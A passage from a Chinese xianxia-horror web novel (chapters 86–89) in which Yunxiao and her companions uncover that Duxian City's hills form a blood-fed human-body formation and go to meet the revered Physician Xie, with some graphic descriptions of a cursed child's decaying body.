其实百岁镇原本只有一座陇山的,是他们为了种药才盖土成丘。因为愿意留在百岁镇里的人越来越多,劳动力变多,小丘也就成了这一座座围绕着陇山的小山。 时至今日,百岁镇成了渡仙城,也仍然不忘当年和谢神医定下的约定,每月的初一和十五,他们都会在城门前散药与义诊,就是为了让天下人都能拥有好身体,人人长命百岁。 客栈掌柜的说完这些,伸手抚了一下心口道:“所以谢神医,是当之无愧的现世仙,若不是有他,又何来如今的渡仙城。” 云绡哦了一声,问:“所以这座山上也都是草药?” 掌柜的笑道:“山顶上种了草药,山下这片还是咱们生活走动的地方,药田成梯,也是咱们渡仙城独有的景色,若客人想看明日可以爬山去瞧一瞧。” 云绡对掌柜的道了谢,恰好这时客栈里传来一阵哭嚎声,没一会儿一对夫妻便抱着个消瘦的孩子从客栈后院跑了出来。 二人从云绡的身前跑过去,他们早已六神无主,嘴里一边喊着孩子的名字,一边喊着这座山上医馆大夫的名字。 云绡近距离地看到了那个孩子,小孩儿不是瘦,竟是身上都烂完了。 她是个扎双丫髻的小姑娘,发丝脱落得厉害,头皮都烂得模糊发臭。她的身上没有一块好肉,早就已经看不出五官,甚至一只眼球都因为抱着她的男人跑得太快险些从眼眶中掉出来。 她的身上腐肉太多了,有两块肉就掉在云绡的鞋前,干瘪的发着臭味。 小姑娘身上伤口很多,暴露出来的手臂和小腿甚至露出了白骨,她是生生疼死过去的,身上没有半点血迹,只有人油的黄渍和腐肉的稠黑。 掌柜的不忍去看,背过身去,云绡盯着鞋前的两块肉,很快小二便上前打扫了去,似乎对此已经司空见惯了。 云绡自然而然地问起了恶童病。 掌柜的家中也有人是大夫,他们渡仙城里人只要是能喘气儿的都懂几分药理,听云绡说起恶童病,掌柜的也只能叹气。 “这病无可医,凡是送来这边的小孩儿其实都活不下去,只是有些人舍不得孩子的一条命,非得亲眼见到孩子咽气了才愿意回去。” 云绡又问:“一般发病到死,要多长时间?” 掌柜的道:“最快三天,最慢的,也只有三十日。” 这最快与最慢,也看那小孩儿多大,一、两岁的死得快,五岁的便要慢慢熬。 云绡一顿:“那七岁可能染病?” “原本从未有过,但近两个月来,五岁以上染了这恶童病的也有几列。” “既然无药可医,那他们将孩子送过来是为何?” “求个心安吧 ,之前有过一个五岁孩子,用了谢神医的符后的确活的时间长了点儿,眼看好似要好转了,可他爹娘只断了一天的符那小孩儿便立刻死了……再后来的人总觉得有了谢神医的符,或许能保一命,但谢神医亲自绘的符又能有几张呢,那孩子只是特例中的特例。” 掌柜的惋惜之后,又疑惑:“哎?小姑娘似乎对这恶童病很感兴趣?” 云绡抬眸道:“不是我对这恶童病感兴趣,而是我能治这个病。” 掌柜的震惊地上下打量了她两眼,似是没听懂她说的话:“你说、你、你能治恶童病?!” 云绡笃定点头:“对!” 她十分自信的样子,搞得掌柜的都有些傻眼了:“谢神医耗时几十年都没能找出病因,你居然说你能治病?真是可笑!” 云绡沉声道:“此病确难,人不能治,不代表神不能治。” “神?!”掌柜的觉得她真是疯了,忍不住朝一旁一直都没出声的仲卿问一句:“你这小孙女的脑袋是不是也有什么病?快带她去看看吧!” “我能请神。” 云绡说到这儿,掌柜的又愣住了,他还在看仲卿,等着仲卿歉然一笑地说他孙女的确脑子坏了。 云绡一副高深莫测的模样:“你不必问他,只管与渡仙城中的管事联系,我要见你们谢神医。” 云绡顿了一下道:“不是排队月余去见,三天内,我就要见到他。” 从入渡仙城时起,钟离湛便发现不对劲的对方了,他远远能嗅到的血腥味,在入山后更重。甚至……常住山中的每一个人身上或多或少都有血腥味。 城门外散药的仙风道骨的老者,城门内棚子下熬药的青年人,甚至包括眼前和云绡说话的掌柜的,他们身上的血腥味都很重。 那些混杂的血液的味道交织在一起,流淌在这些人的身体里,沁到了他们每一根毛发中,几乎将这些人都腌入味了。 云绡和仲卿觉得这座山上都是药味,可钟离湛闻到的则是各种腥臭气,不过那些气味都被药味掩盖了而已。 这些混杂的血腥味,并非杀过人残留在身上的血煞气,甚至眼前的掌柜的连鸡都没杀过,他的眼神并不狠厉,只是有几分商人的精明和机警。 刚才那因恶童病死去的孩子从钟离湛的面前过去时,他看到了,小孩儿虽然死了,可她身上缠绕的黑气并未消失,她混浊的血肉里似乎有什么活物在撕扯着。 一家三口一闪而过,钟离湛并未完全看清,但掉在地上的两块肉他看明白了。 那肉上,有咒印。 他和云绡猜的没错,这所谓的恶童病是因咒而起,那咒印上还沾染了几点符灰,符用早已消失,咒印却仍然在。 知道那符是谢神医画的,钟离湛想要去见一见这位谢神医。 云绡听钟离湛提出要见谢神医,就知道他对这恶童病已有猜测了。 她知道寻常办法见不到到陇山上的人,而她又实在没法儿给自己弄个比恶童病更诡异的病症来引起谢神医的好奇,也不能在山下排长队,就只能另辟蹊径了。 云绡道:“渡仙城为医药圣地,自然是希望天下人都无病无灾,我既然有治疗恶童病的方法,且不论真假你们都该重视,带我去见一见谢神医才对。” 云绡的话都说到这个份上了,那掌柜的也不能再说她是脑子有病在胡说八道了。 而且他更在意的,其实是云绡说她会请神这一句。 “姑娘确定没有骗我,此事做不得假的!” “确定。” 得到了云绡的回答,掌柜的便点头让他们在客栈歇下,他要去找陇山上谢神医的弟子们传达云绡的意思。 云绡就这样在客栈住下,而跟随他们一同过来的老者一脸懵,紧张地抓着仲卿的袖子,小声地问了句:“老弟,你这孙女真没病?她、她说她能请神啊!” 仲卿道:“她说她能把天捅个窟窿我都信是真的。” 老者:“……” 徐容靳见气氛没方才那么严肃了,才终于开口:“娘,大哥,我好饿。” 云绡拍了拍手道:“先吃饭!” 老者看了看徐容靳,再看了看云绡,最后将目光落在“大哥”身上,心想他是不是跟错队伍了?即便儿子孙子都不愿意陪他来治病,他也不能找一群脑子不好的帮衬着。 老者借口不饿,赶紧跑了。 饭菜上桌,看上去虽然清淡,但还算可口,徐容靳正要端起来吃饭,钟离湛突然出声:“放下!” 徐容靳:“!” 委屈!肚子真的好饿! 云绡眼疾手快地抽走了仲卿手中的筷子。 仲卿:“……” 钟离湛又道:“这些菜不能吃。” 仲卿听不见,云绡只好和他解释,在听到钟离湛下一句话时,她浑身上下的鸡皮疙瘩都起来了。 “菜里有人血。” 第87章 云绡将筷子直接丢在桌上,双眸睁大地凑近桌案上的几道菜去瞧,去闻。 渡仙城中其实有些忌杀生,除非一些需要进补的病人得吃荤菜之外,客栈里默认给客人们推荐的菜色都是以斋菜为主。 面前桌上三菜一汤,菜是炖白菜,醋藕片和辣萝卜丝,汤是菌汤,因为加了一些草药,故而带着菌菇的香味和草药青涩的味道。 白菜是翠绿的,藕片白嫩,辣萝卜丝还裹了点儿糖,甜辣味儿直冲人的呼吸,三道菜和一道汤干干净净,没有半点被污染的模样。 且不论人血如何,便是寻常的鸡鸭鹅的血,煮起来也是成块成屑的深色,掺杂在菜里,他们不可能看不出。 云绡看不出所以来,只能朝钟离湛投去眼神。 钟离湛道:“人血若煮出来,的确是红黑色形状不一,不过这里的人血并不是煮菜的过程中加入,而是这些菜在养殖的时候便以血液浇灌长大的。” 云绡:“……你见过人血煮出来是什么模样啊?” 钟离湛瞥她,脑海中混乱的画面一闪而过,他道:“我见过人煮出来是什么模样的。” 云绡:“……” 既然钟离湛都这样说了,云绡肯定是相信他的。 仲卿没想过渡仙城里的菜居然是以人血浇灌生长的,要想让每一颗菜都沾染上血腥气,那在这些菜的成长过程中,得去杀多少条人命才能让它成熟到被采摘啊? 只要想到这一点,仲卿浑身上下都在发麻。 这是一个可能比若川下深埋的白骨还要多的庞然数目,更可怕的是,这么多血液与人命,是在短短几十年内就被积累下来了的。 正因如此,钟离湛才迫切地想要见到这位传说中的谢神医。 满桌的菜便是看上去再可口,几人也没有吃的心思了。 可若将这些菜原封不动地放在桌上,也会引起他人的怀疑,云绡想了想,拨弄了一下菜,每样减些让徐容靳带去后院喂给客栈养着的鸡吃。 徐容靳照做后再回来,对云绡道:“咕咕说,那些鸡变成了怪物,可是我看见的鸡,就是鸡呀。” 云绡闻言:“你那小野鸡挺有用,它为何觉得那些鸡成了怪物?” 徐容靳低头看了一眼怀中两只已经长得膘肥体壮的野鸡,过一会儿道:“啾啾说,那鸡活了二十年。” “我的老天爷!”仲卿朝后院探出半边身子,又对云绡道:“那鸡比你还大!” 云绡拿起桌上筷子就朝仲卿丢了过去,再看向身边从入城后脸色就变得奇差的钟离湛,道:“如今一只鸡都能活二十年,那位谢神医能活一百多年我也完全相信了,这事儿看来不是你的诅咒未起效。” 这座城内处处都透露着古怪,就连掌柜的口若悬河说起过去谢神医和渡仙城的渊源旧事,也变得耐人寻味了起来。 钟离湛道:“去探山。” 云绡问他:“现在吗?” 钟离湛点头:“此事宜早不宜迟,从我远远看去便觉得陇山有问题,入城后满呼吸都是血腥气就更佐证了这一点。如今这片山里养的一只鸡都能活到二十岁了,再不去探清缘由,还不知有多少人的血要供养这里的一草一木。” 除了陇山之外,陇山周围的小山都是后来渡仙城里的人需要种草药才堆出来的,这是他们的说法。 可连一片菜叶子都有血腥气,那这些山下埋着的到底是石土还是白骨,就未可知了- 现在天色还早,云绡几人沿着第二座小山的山周转了几圈,又往第三座山的方向过去。 小山不算大,但有的山离得挺远,几座山走下来天都黑了,云绡和钟离湛竟没发现特别古 怪的地方。 “真奇怪啊,山中的符咒很少,且能查看到的都是一些简单的抑制病祟的符。”云绡说着又问钟离湛:“这里该不会是另一个锦仙山吧?” 他们才入锦仙山时,也并未发现锦仙山的玄机。 云绡又道:“锦仙山,渡仙城,很相配啊!” 钟离湛摇头:“锦仙山是封闭的,旖族女的诅咒能将她们困在山中不与外界相连,所以这么多年来从未出现过什么异端,洛娥能将编织的幻境一直维持下去,可陇山不是。” 陇山大大小小的山,可以让五族中任何人随意进出,渡仙城的百姓能离开,外界的人若想留下来,也可以申请种植草药给自己谋求一条生路。 若说这里也有一个幻境,那进入幻境的每一个人都是一个变数,不可能这么多变数出现,还能让编织幻境者维持现状。 这至少表明,这里的山就是山,这里的水就是水,他们脚下的路就是路。 钟离湛还在思索,二人已经回到了客栈。 仲卿和徐容靳没跟着他们,他们没吃东西,不想动,怕饿。 白天城门前遇见的老者此时正好也从外头进来。 他手上提着药包,看见云绡时表情有些僵硬,但还是友好地打了招呼。 “大爷气色不错,可是因为您的病有救啦?”云绡上前问了句。 老者虽觉得云绡可能脑子都有问题,但至少看上去不像坏人,而且人逢喜事精神爽,他乐得直点头道:“是啊是啊,医馆的大夫说我的病不算太难,让我就在山中修养,月余就能带药回家啦。” “那可真是太好了!” 云绡凑近看他,轻易就能看出这位老者的变化。早间见他时他脸色枯黄,眼下泛黑,而今声音洪亮,脸颊也浮上血色,整个人像是年轻了三五岁。 钟离湛看见那老头的模样,就知道他将饭菜都吃了。 能让他觉得自己有所好转的,不是大夫给的草药,又或者说草药的作用不大,真正有用的,还是那些被喂养了人血的饭菜- 回到房间,云绡躺着睡不着,她饿得有些难受。 他们路上带着的那点儿干粮也都在各自回屋的时候分掉了,一人一块饼,连水都不敢喝,生生地咽下去的。 云绡的胃口本来就不小,那块饼早就消化掉了,现在整个人都窝在钟离湛的怀里,不时磨牙。 钟离湛将胳膊放在云绡的跟前,道:“别磨牙了,那声音我听得太难受了,你咬我吧。” 云绡有些委屈,可怜巴巴地望向钟离湛:“哥哥,我饿。” 钟离湛见她如此,捏了一把云绡的脸道:“哥哥带你出去找吃的。” 云绡眸光一亮,城内没有能吃的食物,城外有啊! “快走快走!” 有钟离湛在,云绡想要瞒过客栈里和城外街道上还没睡的那些人的眼线离开陇山还是很简单的,隐身符与御风符让她越过城墙之后,二人便往前方十多里之外的林子去。 打猎云绡已经信手拈来了,很快她就抓了两只野兔,对上钟离湛的视线确定这兔子没喝过人血,能吃,她便迫不及待地用之前钟离湛教她的方法烤了出来。 云绡是很饿,可她还是克制地只吃了半只野兔,多吃了点儿野果止渴,剩下的一只半野兔都用大叶裹起来,她准备带回去给仲卿和徐容靳分。 大叶裹了好几层,草绳将其吊起来后,云绡提着野兔就往回走。 今夜月色极好,因是十五,圆月周围万里无云,照见去渡仙城的路。 二人手牵着手,钟离湛走在前头,搀着云绡走。 眼见快到渡仙城了,他问云绡:“吃饱了吗?” “差不多。”云绡想,若是再来条巴掌大的烤鱼,她也能吃得下! 钟离湛道:“吃饱了,咱们再探探这座山。” 云绡愣了一瞬,钟离湛解释道:“有句话叫,身在山中不知山,我们是走遍了那几座小山,的确在里面没发现多少符咒,但从未俯瞰过这座山。” “你怀疑是阵!”云绡立刻明白钟离湛的猜测。 钟离湛眯着眼睛垂头在她额心处重重地亲了一下,都亲出声音了,搞得云绡有点懵,她不明白刚才说话还好好地,怎么突然就亲上了? 后来一想,对啊!今天没亲过。 于是她踮起脚对着钟离湛噘嘴,鼻音“嗯嗯”了两下,积极示意他要亲嘴,亲嘴比亲额头好玩儿。 钟离湛:“……” 他是在云绡立刻便能明白他心中所想时,感受到了他们的默契与心意互通带来的惊喜,这才一时兴奋地亲了一下她的额头。 见云绡还朝自己凑过来呢,钟离湛便捧起她的脸,也重重地在她嘴唇上亲了下响亮的,声音在寂静的夜里更清晰。 这一下将云绡的脸给惹红了。 他们之前亲的时候再深入也没这么响啊…… 见云绡害羞了,钟离湛揉了一下她的脑袋,张口就来:“可爱。” 换做之前,他大约不会这么做。但在云绡提起过他于锦仙山开启九星连月阵送她的魂魄回到过去,却没有抱抱她亲亲她之后,钟离湛便转变思路,改变自我了。 行正事时不掺杂私情,那是以前的钟离湛,他以前也没有私情可言。 既然哄好心爱的女子也不影响他办事的认真,那依她,亲她,又如何呢,反正他也很快乐就是了。 云绡果然被哄得心花怒放的,走路的时候都带着小跳,眉眼弯弯,嘴角露出小梨涡来。 待到城门外,再画一张隐身符和御风符,云绡便与钟离湛越过城墙,沿着小山的山路方向往高空飞去。 她没飞过这么高,几座小山位于身下时,云绡还没什么感觉,但当她飞了陇山的一半却发现她还没到谢神医的住处,再低头就有股头晕目眩之感了。 钟离湛扶住云绡,虚虚地搂着她道:“别怕,有我在。” 云绡点头,强迫自己再往下看了会儿,总算从那股眩晕中缓了过来,而后她便能将大半片陇山收入眼底,视线也逐渐清晰。 陇山夜半不熄灯。 不论是山脚下临街的店铺,还是山上零零散散的医馆或聚集成一片的住宅,家家户户都是亮着灯的。 密密麻麻的灯光,在高处去看宛如星辰,但比星辰特殊在这些光芒都沿着道路小径周围点亮。陇山上每一条可以供人行走,有人烟生存的地方,都在夜色里化成了一条发光的线。 小山五座,虽是靠近陇山的,可并非绕着陇山脚下打转将它团团包裹。 “怪了,若是他们这些小山是为了种草药,不是越靠近陇山越好吗?”云绡不解。 那五座小山,只有两座是在陇山旁一左一右挨着,再往下是一座偏左的山,形状一头尖一头宽,大约是为了开山路方便? 右侧还有一座小山,如同小丘,而后是百姓居住的屋子,屋子偏左,左靠近客流城门,那里的房子聚集了一大片光点。 光点右侧还有一座山,掌柜的提过,城中绝大部分的居所都靠近那座山,因那山上有他们开采的水潭形成了瀑布,沿山往下,方便百姓取用。 云绡还看见,那条通往陇山上谢神医住的道观主路上站了一排排人,那些人都是为了救命而来,深夜席地而睡。 看着那些人,云绡不禁叹道:“若真要排队,恐怕我们一个月也未必能排上了……” 钟离湛未在意那些排队上山的人,他此刻的脸色很难看。 “绡绡。”钟离湛的声音有些沙哑,他对云绡道:“你再仔细看看,这些山……像什么?” 第88章 云绡看了好一会儿,没看出来,她想大约是因为自己飞得还不够高,所以无法将陇山和整座渡仙城都映入眼底,这才忍着高空的恐惧再飞高了点儿。 离得远了,云绡的眼神就没那么好使了,她看不清上陇山的阶梯上密密麻麻的人,所有亮着灯光的山路也在这个时候变成了细密的光线,交错、汇聚到陇山中央。 山周所有的光都暗淡了下去,山内所有的光都形成了一个特殊的蛛网。 云绡猜测着这些山到底像什么,一个答案跃入脑海时她恍惚了瞬,立刻觉得自己是猜错了。可当她重新去看,答案仍然是那一个的时候,云绡浑身上下的鸡皮疙瘩都竖起来了。 不是因为高处不胜寒,也不是因为深夜的风太冷了,而是她看见的陇山,其实并不是陇山的模样,它像一个人。 一个没有头,也没有四肢,只有躯干的人。 巨大的陇山是人的心脏,左右两边的小山成了包裹着心脏的肺叶,肺下一头尖一头宽的山,是人的肝,右侧下方那座很小的山则是脾。无数条发着光的山路成为了人体中的血脉,所有小山都供养着陇山那颗庞然的心脏。 肾有左右,云绡第一次觉得这些山像人的五脏排布,甚至连形状都类似时否认,就是因为她找不出第二个肾。可仔细去看,右侧肾的对应则是左侧占地面积不亚于右侧肾山大小的城中百姓的居住区。 掌柜的说,那座山上有水潭,而肾正对应着五行中的水,水成瀑布,流入城池,家家户户打井用水,那巨大的城池也是供养中的一部分。 云绡想到这一点,再沿着五行推演其他山,脾为土,所以那座脾山很小,上面甚至连草药都没有种植,那就是个光秃秃的小山丘。 肝山对应着木,那座山就是云绡客栈的山。掌柜的说山上是成片梯式的药田,还种了很多树木,从空中往下看,这座如同人的肝脏形状一样的山,的确郁郁葱葱,树木遮掩了楼宇。 两座肺山,最靠近心山,也就是陇山。 那两座,是他们晒药,制药的地方,从这里出去的药,很多都炼成了丹,而渡仙城中生活所需的器皿,也都出自于那里。 各山之血液,以那缠绕在山中交错成经脉的小路,汇聚成了陇山山脚下的大道,一条天梯,长长地通往了谢神医的住处。 云绡看懂了这些,毛骨悚然之感更甚,尤其是这凉风一吹,她整个人都在钟离湛的怀中哆嗦。 “我们先回去吧。” 钟离湛将人搂紧了些,他从云绡的眼神中看出来,她已经知道这座渡仙城究竟是什么了。 回到了肝山时,云绡双腿勾在钟离湛的腰上一时没想落地,只要想起这座山是五脏中的肝,她就觉得自己一脚踩下去能踩出血水来。 各家各户门前的灯都点着,亮堂堂的街上,云绡以一种抱树的姿势悬在半空中,若有路过的人看见恐怕得吓个半死。 做了好一会儿心理建设云绡才肯下地,双脚踩在地上时,她脚心下的石板地似乎有些软,也有些黏糊。 看云绡走路轻飘飘地踮起脚,颇有些嫌弃的模样,钟离湛搀扶着她的手略微收紧了些,原本看向云绡脸的眼眸也半垂了下去。 他的心中生出了几丝不甘,不甘于他回顾自己的一生,活着的两百余年没有一次行差踏错,偏偏下场不好。不甘他明明再度冲破黑暗重见光明,可连能光明正大地背自己心爱之人也做不到。 钟离湛与云绡的所有相处,在看不见他的人的眼里,都会化成对云绡的异色眼光。 云绡再恶心脚下的这条路,他也只能搀扶着,他想背着她的,也怕下一个转角撞见其他人,瞧见云绡的诡异姿势,反而害了她。 总能活过来的,只要他活过来,一切都迎刃而解了。 回到客栈,云绡手里的烤兔早就凉透了。 她敲响了仲卿和徐容靳的房门,这两人也饿得睡不着,听见动静就起来开门了。 见云绡给他们带了吃的,还是特地去城外林子里打的野味,饥肠辘辘的一老一少留下了面条宽的眼泪,默不作声地大快朵颐。 即便烤兔肉冰冷到有些发硬,二人也完全没有嫌弃,吃完了之后云绡又给他俩一人两颗野梨。这果子偏酸,但生津止渴,仲卿只吃了一颗,徐容靳吃了两颗,还有一颗放在桌上给两只鸡互啄。 云绡见他们擦干净嘴,这才问:“吃饱了吧?” 仲卿和徐容靳连连点头。 云绡又道:“我现在和你们说点儿正事,你们不会被恶心得吐出来吧?” 二人一起摇头。 当然不会!好不容易吃进肚子里的,再恶心也得把喉咙封住了! 云绡这才将自己和钟离湛以御风符飞上高空,俯瞰渡仙城,发现这里原来是一个无头无四肢巨大的人体躯干,他们都处在脏腑之内的事情告知了二人。 徐容靳没听懂,所以也没觉得恶心。 仲卿听懂了,捂着嘴缓了好一会儿才恍然道:“难怪这里的菜都有人血,原来是我们本就处于‘人体’之中啊!” 知道自己身处危机之中,仲卿连忙道:“那我们还留在这里干什么?” 云绡道:“见传说中的谢神医,看看是否是他弄出的这些古怪,查明他们将渡仙城化作人身肺腑的目的,制止这世上有更多的人落入陷阱。” 仲卿一时呆愣,木讷地看着云绡。 他一直以为云绡是不爱麻烦的那类人,甚至从某些时刻而言,云绡是冷血的,凡是与自己无关的,她都可以冷眼旁观。 可听她这一句看似太虚太空的话,仲卿忽然想起来,好像她对外人始终冷漠,可却总在关键时刻施以援手。 仲卿突然想知道,留下来是云绡的想法,还是钟离湛的。 如若是钟离湛,那他就绝不是历史上记载的那样泯灭人性屠戮苍生的杀神。 若是云绡她所想,她似乎比如今空坐在京都皇位上,却被自己亲爹后宫妃嫔迷得晕头转向的云光憧要看得更远,更清明,更朗正。 仲卿的心中,忽生出一股可惜来。 可惜他如今年近七十,便是再长寿也活不了太久,可能三、五年一过,他走远路都费劲,此生未必能看见云绡真正有一番作为的机会了。 可他也有些庆幸,若非跟随云绡离开京都,他现在也不过是那四方皇城里的一粒沙,顶多算是金沙。可金沙也好,沙砾也罢,不过都是被困在原地,未见真正的天下罢了。 人这一生,总得做些什么吧? 前数十年,仲卿以为钻研阵法,祭祀祈福,收徒教习,他已经为天下人做了很多了。 可他因为站的足够高,所以平视过去五族天下海晏河清,却未见腰部以下的苍生岌岌,这世上跪着艰难吃饭者,不知凡几。 仲卿看向云绡的目光,在灯火下似乎有些湿润,衬得眼底的烛光更加明亮了些。 钟离湛也在看云绡,他的心也在云绡和仲卿说的这一番话中变得滚烫。 其实他早就知道,在那天小镇暴雨之夜里,钟离湛说他听到了孩童的哭声,云绡自然而然地就将后头的细节问清楚了。 她若完全不在意,大可以不提起,可她不光提起,还用一种迂回的方式告诉钟离湛,她可以来渡仙城。 表面上,她是因为钟离湛想调查清楚恶童病,所以她来了。 实际上,就算钟离湛不提,云绡大约也会想要在深入曦族去霖江前,从渡仙城的方向路过,打探一番。 钟离湛的确某种程度地改变了云绡,可他觉得这种改变是好的,是正向的。 他们或许会因为一时的善举而害了自己,但谁又能说善心是错呢?这 世上也不是所有的善良都是愚善,即便那件事对自己没什么好处,可对绝大部分的人而言能救人于水火,那就是值得的,有意义的了。 烛火下的云绡,仿佛在这一刻镀上了一层柔软的金光,连带着她原本偏清冷的相貌也更有温度,更加温柔。 仲卿声音微哑地问她:“你为何会有如此决定?” 以一人之力,去撼动渡仙城几十年盘根错节阴邪怪阵。 这话钟离湛也曾听人问过。 云绡的回答,与钟离湛回忆过去时的心声交叠。 “总要有人去做这个决定吧……” 【总要有人去做这个决定的!】 走在深深宫巷雨夜的对话,在这一刻,钟离湛等到了回响。 剑骨之人,命硬不易折,乱世不如救世。 总要有人走这条路,总要有人去做这些事,不是他/她,也会是其他人。可人生苦短,还有千千万万条生灵,未必等得到那个其他人。 何故叫他们枯等枉死? 何故叫渡仙城里这些受病痛折磨,为活命而来的可怜人,在吃人的城池里流干血泪? 云绡的声音不大,仲卿听了却觉得振聋发聩,他忽而像是被打了鸡血一样,一拍桌子就站起来,对着云绡道:“那就干!老夫拼了这条老命也陪着你干!” 徐容靳:“!!!” 云绡:“???” 钟离湛:“……” “虽说老夫今年六十七了,可说不定我能活一百!还有三十多年奔头,我陪你上刀山下火海又何妨?! 十一殿下……不!云绡!你大胆地去做!生咱们一起生!死咱们一起死! 那京都坐皇位的小子不成器,早晚有一天得把他祖宗基业给败了!老头儿我今日认一明君!有机会,咱回去洗刷冤屈,把他拉下马来,然后唔——@#*%&……” 云绡赶忙捂住仲卿的嘴,倒不是怕这小老头说出什么惊世骇俗的话,而是怕他一把年纪太激动等会儿气喘不上去一条命就交代在这儿了。 至于他说的什么皇位,祖宗基业,洗刷冤屈,明君之类的…… 云绡也就只把洗刷冤屈当真了。 “小声点!咱们在密谋呢,这很值得大声喧哗吗?” 云绡瞪了仲卿一眼,确定了仲卿不会再突然亢奋了,这才松开了他,顺势将手在他衣裳上擦了擦。 仲卿坐回去,把一只刚才被他拍桌吓得飞到地上的野鸡提回桌上继续叨野梨,这才问云绡:“你要我怎么帮你?” 云绡受不了他这亮闪闪的眼神,于是往钟离湛那边靠了靠,结果一回头…… 好嘛,钟离湛的眼神比仲卿的还亮! 那双狐狸眼中盛满了星星,温柔得仿佛要化成一汪水,将她彻底包裹起来一般,云绡要溺死在他的眼神中了。 若云绡幼时受过长辈的喜爱,便一定能看得出来,钟离湛这眼神其实和仲卿的不同,他的眼里有温情,更多的却是骄傲。 就像是两个相隔两千年的完全不同的意识在这一刻达到了共振,是灵魂深处的兴奋与满足。 云绡很亮眼,很漂亮,很优秀,这样的她有很大一部分也源自于他说的那些,曾于云绡而言很天真的话……钟离湛颇有种炫耀的意味。 看!这是他的绡绡,是他的小仙女,是与他心意相通的爱人。 - 翌日,天光大亮。 才从陇山上回来的掌柜连觉也没睡,眼底一片青黑。 在看见云绡的时候松了口气,他上前便道:“我等了一夜,终于为你求得了个与谢神医见面的机会,注意!见到谢神医不该问的别问,不要总盯着他看,他也不喜人靠得太近,其他的你自己与他说。” 云绡闻言点头,也不显惊喜,装得老神在在,只悄悄朝仲卿看去一眼。 得仲卿点头后,她这才轻拍衣袖,对掌柜的道:“带路吧。” 掌柜的:“……我还没睡……” 话未说完,云绡语重心长:“人命关天,病不等人。” 掌柜的:“……那我总得洗把脸吧?” 云绡想了想,挥手:“去吧去吧。” 掌柜的如蒙大赦,赶紧洗了把脸,让自己清醒一些,再带云绡一路插队,往陇山顶上的道观而去。 第89章 陇山上,所有谢神医的亲传弟子都穿着统一的暗红色长袍,这衣裳在阳光下极为显眼,立刻便能从人群中找到。 掌柜的将云绡介绍给两名穿着暗红色长袍的年轻男子后便离开了,上山这一路,云绡都是跟在那两人身边走石路旁特行的小道。 同样一条上山路,漫长地排队等候的一批人,眼见着云绡大步向前,可谁也没敢置喙。 两名男子看上去二十多,不到三十的样子,面白无须,眼神偏冷,一副爱答不理的样子。 他们也都听说了,眼前这位少女自称会请神交神,有办法治疗恶童病,这才让他们的几位师叔重视几分,要亲自见见她。 其实在此之前,也有很多人为了不排长队,编造谎言就是为了能尽快见到谢神医一面,但愿这个少女不是这类骗子。 毕竟她长得颇为清秀标志,而那些骗子都没落得个好下场,伤了病了或者死了,岂不可惜? 上山的路很长,即便是一条大道直通山巅,云绡也还是跟着那几个人从白天走到傍晚。 这个时候谢神医已经不再接诊了。 云绡在山下看得不清楚,远瞧一个大院里头竖立着一座塔,她还以为这是个道观,但走到跟前才发现这里许多布局与道观不同。院中无香,浓浓的药味与那些熬药飘出的浓烟,化成了山间苦涩的纤云。 朱墙上绘制着一些图形,数个黑色的点之间以线相连,像是星宿图,但也不是。 朱墙四面,正前方是大门,八开的门庭已经将正中间的朱漆大门关闭落锁,两侧小门还开着。院子里有和引路的男子一样穿着暗红色衣裳的人,偶尔出来与等在门前的病患说些什么。 云绡隔着浓浓的烟雾,看见他们给此地起的名字——长生殿。 右联:药祛红尘万种病。 左联:求愿世人共长生。 踏入长生殿,里头的建筑不多,有高有低,造型都挺独特的。 四方的朱墙在入门后再去看,墙里就是黑色的,而原先画在墙外的黑点与黑线,在墙里就成了红点与红线了。 纵横交错,像蛛网,也像是人的筋脉。 云绡脚下一顿,瞪大眼睛朝身边的钟离湛看去,悄声问了句:“那些是不是人的穴道啊?” 每一个点,都是人体的某一处穴道,而与点相连的线,便是穴道之间的经脉相连。 钟离湛嗯了声,他不太懂药理,也和云绡一样的猜测,若不是因为他们前一天晚上已经在高空俯瞰了整座渡仙城,恐怕也不会有此联想。 “你发现这里的不对劲了吗?”云绡问:“那股血腥味,重不重?” 钟离湛道:“重中之重,而且这四面墙很怪,上面的点线除了你说的,可能是人体穴道和经脉的简化之外,上面画出来的穴道对应的数字,也有可能与长生殿的大阵相连。” “大阵?”云绡凑近钟离湛:“你看出这里有阵了?怎么摆的?” 她也跟在钟离 湛和仲卿身边学了些,入门前特地看了长生殿外围和内圈是否有造型独特的石头和树木,却没发现有什么特别的地方。 “院内三座建筑两处园景,各立在四方,以形遮挡,润化了墙角。高塔是炼丹处,为火;阁楼是藏书处,为木。”钟离湛顿了顿,再问云绡:“接下来你看,我教你。” 云绡仔细看着,重点顺着钟离湛说的三座建筑和两处园景去看,自然就能看见在不远处靠近墙角的地方,有一片假山林,那假山林旁还挖了池子,只是池子里没水。 “池中无水,主石林立,那里代表了土?”云绡问完,钟离湛点头。 云绡又看向另一处园景,那里离石林不远,长廊尽头立着一个两人高的石像。 乍一看,石像和石林是分开的,可在长廊之下还有一些大大小小的石块不曾间断过。 云绡突然开口问前头引路的人:“这位大哥,那石像是谁啊?” “那是谢神医的像。”那人提到谢神医,心中满是敬仰和崇拜,又指着石林和石块道:“那些,代表的是渡仙城的前身,百岁镇里的人。他们都是跟随了谢神医的脚步才好不容易活下来的,所以当初造景设计,便将渡仙城的故事也融入到咱们长生殿的园林中来了。” 云绡哦了声,声音雀跃道:“谢神医可真了不起!” 前头那人骄傲地抬起下巴:“那是自然!所以你能越级提前见到谢神医,等会儿可得放低姿态,莫要大放厥词,惹谢神医生气。” 云绡配合着对方点头:“那是自然!” 前头的人也开始絮叨着谢神医和渡仙城的过往,云绡没听,嘴里还附和着:“是吗?太好了!真不容易……” 她路过那高大的雕塑身边时,目光落在对方腰间的一把剑上。剑鞘为石,剑柄如玉,柄与鞘中似乎有一条缝隙,云绡眯着眼睛仔细看了一眼,而后与之擦身。 “这是金。” 她的声音很轻,钟离湛朝她点头。 可她都快要到谢神医的住处了,还没看见这长生殿内有水的地方,反倒是剩下那一排长形的排房,她不懂那与水有何关系。 排房前连个水缸都没有…… 钟离湛提醒道:“那里,是整个长生殿内除了谢神医之外,所有人的住处。” 云绡还是不解。 钟离湛眸光晦涩,一些恶心的画面闪过脑海,可云绡毕竟不是天真无畏的,有些事再可怕,他也总要提醒她,让她面对这世间有的人有些事就是阴暗至极,这样她才会更加防范。 “我见过,巨锅煮人,煮出来的,大部分是水。” 钟离湛说出这话后,云绡忍不住打了个寒颤。 正好前头引路的人停下了,他将他们领到了炼丹处。那座小塔内除了炼丹炉外还有一间颇大的空室,室前为厅,屏风格挡之后便是谢神医的住处。 